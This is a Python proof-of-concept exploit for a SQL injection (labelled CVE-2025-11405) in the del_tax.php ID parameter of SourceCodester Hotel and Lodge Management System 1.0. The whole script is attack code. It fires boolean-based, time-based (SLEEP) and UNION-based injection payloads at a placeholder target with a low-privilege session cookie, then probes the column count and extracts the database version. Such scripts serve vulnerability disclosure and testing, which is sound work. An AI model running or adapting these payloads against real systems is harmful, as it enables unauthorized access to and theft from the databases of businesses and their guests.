# CVE-2025-11405 PoC - SourceCodester Hotel and Lodge Management System SQL Injection
# Vulnerable file: /del_tax.php
# Vulnerable parameter: ID
import requests
TARGET_URL = "http://target-site.com"
# Requires low-privilege authentication
COOKIES = {
"PHPSESSID": "your_session_cookie_here"
}
def exploit_sql_injection(target_url, cookies, technique="error_based"):
"""
Exploit SQL injection in del_tax.php ID parameter
"""
vulnerable_endpoint = f"{target_url}/del_tax.php"
# Technique 1: Error-based / Boolean-based SQLi
if technique == "boolean":
payloads = [
"1' AND 1=1-- -", # True condition
"1' AND 1=2-- -", # False condition
"1' OR '1'='1'-- -", # Always true
]
for payload in payloads:
params = {"ID": payload}
try:
response = requests.get(
vulnerable_endpoint,
params=params,
cookies=cookies,
timeout=10
)
print(f"[+] Payload: {payload}")
print(f"[+] Status: {response.status_code}")
print(f"[+] Response length: {len(response.text)}")
except Exception as e:
print(f"[-] Error: {e}")
# Technique 2: Time-based blind SQLi
elif technique == "time_based":
payload = "1' AND SLEEP(5)-- -"
params = {"ID": payload}
try:
import time
start = time.time()
response = requests.get(
vulnerable_endpoint,
params=params,
cookies=cookies,
timeout=30
)
elapsed = time.time() - start
if elapsed >= 5:
print(f"[+] Time-based SQLi confirmed! Elapsed: {elapsed:.2f}s")
except Exception as e:
print(f"[-] Error: {e}")
# Technique 3: UNION-based SQLi for data extraction
elif technique == "union":
# First determine column count
for i in range(1, 15):
cols = ",".join([str(j) for j in range(1, i+1)])
payload = f"1' UNION SELECT {cols}-- -"
params = {"ID": payload}
try:
response = requests.get(
vulnerable_endpoint,
params=params,
cookies=cookies,
timeout=10
)
if response.status_code == 200 and "error" not in response.text.lower():
print(f"[+] Number of columns: {i}")
# Extract database version
payload = f"1' UNION SELECT {cols.replace('1', 'version()', 1)}-- -"
params = {"ID": payload}
response = requests.get(
vulnerable_endpoint,
params=params,
cookies=cookies,
timeout=10
)
print(f"[+] Database version: {response.text}")
break
except Exception as e:
continue
if __name__ == "__main__":
print("[*] CVE-2025-11405 SQL Injection PoC")
print("[*] Target: SourceCodester Hotel and Lodge Management System 1.0")
exploit_sql_injection(TARGET_URL, COOKIES, technique="boolean")
exploit_sql_injection(TARGET_URL, COOKIES, technique="time_based")
exploit_sql_injection(TARGET_URL, COOKIES, technique="union")